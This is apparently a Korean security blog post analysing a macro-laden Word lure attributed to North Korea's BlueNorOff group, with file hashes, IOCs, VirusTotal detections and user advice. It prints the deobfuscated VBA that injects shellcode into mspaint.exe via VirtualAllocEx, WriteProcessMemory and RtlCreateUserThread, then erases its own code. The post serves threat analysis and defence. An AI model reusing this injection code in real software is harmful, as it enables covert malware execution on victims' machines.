꿈을꾸는 파랑새

오늘은 대북 관계자들을 노리는 북한에서 만든 해킹 그룹인 라자루스(Lazarus)산하 BlueNorOff(블루노로프) 에서 만든 악성코드인 질문지.doc에서 대해 알아보겠습니다.
BlueNorOff(블루노로프)는 북한을 대표하는 해킹 단체인 김수키(Kimsuky) 그리고 Lazarus(라자루스) 그룹으로 알려진 북한의 사이버 범죄 조직의 일부로 알려졌습니다. 해당 그룹은 금융 기관, 회사 및 정부 기관을 대상으로 한 사이버 공격으로 유명하며 BlueNorOff는 2014년에 발견되었으며 목표는 주로 금융 비즈니스 및 금융 부문에 있는 회사들이며 해당 그룹은 은행 계좌 정보를 탈취하거나 ATM 기기를 강제로 조작하여 돈을 훔치는 등의 공격을 주로 수행하는 것이 특징이며 그룹은 또한 악성 코드, 스팸 및 사이버 스파이로 알려졌으며, 국가 간 사이버 전쟁의 목적으로 북한의 사이버 전략의 중요한 부분으로 여겨지고 있습니다. 어차피 북한 정찰총국의 지시를 받는 사이버 공격을 하는 집단입니다.
먼저 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명:질문지.doc
사이즈:83.0 KB
CRC32:a2bf502d
MD5:8f106544bfd4755d17a353064666426a
SHA-1:652af768b1bf3f9730737bdd115bbb88e3a4b977
SHA-256:3252345b2640efc44cdd98667dbd25806ee2316d1e01eec488fd678e885aa960
SHA-512:0ede215e2667738cbc5a6dcbc51a49658b5f670bdd2dfed1c9abc96a30fc5355632659362e55e0bb4c15aef43dffd5f841e9b955d0988dbd6ebbdd5454270e12

질문지 워드 악성코드 실행
질문지 워드 악성코드 실행

일단 해당 악성코드를 실행하면 다음과 같은 내용이 포함돼 있습니다.
1. 김정은의 딸 김주애의 후계자 가능성.
2. 최근 북한의 핵탄두공개와 미사일 발사도발의 진목적.
최근에 있었던 꿀꿀이의 딸인 김주애 그리고 북한의 핵 관련 질문으로 돼 있는데 어디 보면 한국어가 이상한 것을 볼 수가 있습니다. 그리고 당연히 여기서 보안 경고가 표시되며 매크로를 사용해 달라고 콘텐츠 사용을 눌러 주면 매크로가 실행됩니다.
그리고 해당 매크로 편집기를 통해서 해당 코드를 열어 보면 다음과 같이 코드들이 난독화 돼 있는 것을 확인할 수가 있습니다.
그리고 해당 코드를 뽑아 보면 다음과 같습니다.

ReDim buffer(UBound(src_str) + 1) As Byte

If Win64 Then
    Dim FS0 As Object
    Set FSO = CreateObject("Scripting.FileSystemObject")
    Dim windowsDir As String
    windowsDir = FSO.GetSpecialFolder(0)
    windowsDir = windowsDir & "/SysW0W64/mspaint(.)exe"
    ReturnValue = CreateProcessA(0, windowsDir, 0, 0, False, 0, 0, 0, start, proc)
Else
    ReturnValue = CreateProcessA(0, "mspaint.exe", 0, 0, False, 0, 0, 0, start, proc)
End If

PID = proc.dwProcesslD
If PID Then
    hTargetProcHandle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)
Else
    Exit Sub
End If

dwCodelen = &H800
shellAddr = VirtualAllocEx(hTargetProcHandle, ByVal 0, dwCodelen, &H3000, PAGE_EXECUTE_READWRITE)

For i = LBound(src_str) To UBound(src_str)
    buffer(i) = src_str(i)
Next i

Dim resultWriteProcess
resultWriteProcess = WriteProcessMemory(hTargetProcHandle, shellAddr, buffer(0), UBound(src_str) + 1, ret)

status = RtlCreateUserThread(hTargetProcHandle, ByVal 0&, 0, 0, 0, 0, shellAddr, 0, hThreadHandle, TID)

Application.DisplayAlerts = raise

With ThisDocument.VBProject.VBComponents
    .Remove .Item("Module1")
End With

Dim countOfLines As Integer
countOfLines = ThisDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.countOfLines

ThisDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.DeleteLines _
    startline:=1, Count:=countOfLines

대충 해석을 하면 다음과 같습니다.
VBA를 사용하여 외부 프로그램(mspaint.exe)을 실행시키는 코드 실행
코드 내에서는 먼저 src_str 배열의 크기에 따라 buffer 배열을 선언하고 초기화 이후 If Win64 Then 구문을 통해 64비트 윈도우 운영체제인지 아닌지를 확인 windowsDir 변수를 초기화
그리고 CreateProcessA 함수를 사용하여 외부 프로그램을 실행시키고, 이를 위해 프로세스 핸들(hTargetProcHandle)을 획득
프로세스 핸들을 획득한 이후에는 VirtualAllocEx 함수를 사용하여 실행할 코드를 저장할 메모리 공간을 할당하고, WriteProcessMemory 함수를 사용하여 src_str 배열에 저장된 코드를 메모리 공간에 복사
그리고 RtlCreateUserThread 함수를 사용하여 코드가 실행되도록 스레드를 생성
마지막으로는 현재 열려 있는 문서에서 VBAProject의 VBComponents를 이용하여 Module1 모듈을 삭제하고, ThisDocument 모듈에서 countOfLine 개수만큼 코드 라인을 삭제

악성코드에 포함이 된 VBA
악성코드에 포함이 된 VBA

~DFE9C5D56BB8494E1B.TMP
질문지.doc(.)vir
~DF731C2799BFDB8083.TMP
최종적으로 접속하는 주소는 다음과 같습니다.

https://docx1.b4a(.)app:443/download.html?id=88&search=TUh3M0xEZ3NPQzR4TERFd2ZHSnZaSGt1ZEdGaWJHVXFLazkwYUdWeWZIeGliMlI1TG5SaFlteGw=

IP 주소

3.222.42(.)202:443 (TCP)
52.7.66(.)68:443 (TCP)

2023-04-06 08:08:46 UTC 기준 바이러스토탈(VirusTotal)에서 탐지 하는 보안 업체들은 다음과 같습니다.
Acronis (Static ML):Suspicious
AhnLab-V3:Downloader/DOC.Generic
ALYac:Trojan.Downloader.DOC.Gen
Antiy-AVL:Trojan[Downloader]/MSOffice.Agent
Arcabit:HEUR.VBA.CG.1
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:GT:VB.Ursnif.2.83F3115C
Elastic:Malicious (high Confidence)
Emsisoft:GT:VB.Ursnif.2.83F3115C (B)
eScan:GT:VB.Ursnif.2.83F3115C
ESET-NOD32:VBA/TrojanDownloader.Agent.YXN
F-Secure:Trojan:W97M/AutorunMacro.D
GData:GT:VB.Ursnif.2.83F3115C
Google:Detected
Jiangmin:W97M/Psd
Kaspersky:HEUR:Trojan.MSOffice.SAgent.gen
Lionic:Trojan.MSWord.Ursnif.4!c
MAX:Malware (ai Score=83)
McAfee-GW-Edition:BehavesLike.OLE2.Bad-VBA.ml
Microsoft:Trojan:Win32/Leonem
Rising:Malware.Obfus/VBA@AI.87 (VBA)
Sangfor Engine Zero:VBA.Sus.Obf
SentinelOne (Static ML):Static AI - Malicious OLE
Symantec:Trojan.Gen.NPE.C
Tencent:Heur.Macro.Generic.h.2d61653a
Trellix (FireEye):GT:VB.Ursnif.2.83F3115C
TrendMicro:HEUR_VBA.O2
VIPRE:VBA.Heur.Ursnif.2.83F3115C.Gen
ViRobot:DOC.S.Agent.84992.C
ZoneAlarm by Check Point:HEUR:Trojan.MSOffice.SAgent.gen
이런 악성코드는 기본적으로 지인이든 모르는 사람이든 간에 파일은 함부로 실행을 하는 것은 주의해야 하면 특히 매크로 실행을 해달라고 하면 바로 의심을 해야 하면 기본적으로 윈도우 디펜더 이든 안랩 V3이든 간에 백신 프로그램 설치해서 실시간 감시, 실시간 업데이트 통해서 해당 악성코드들은 차단할 수가 있을 것입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band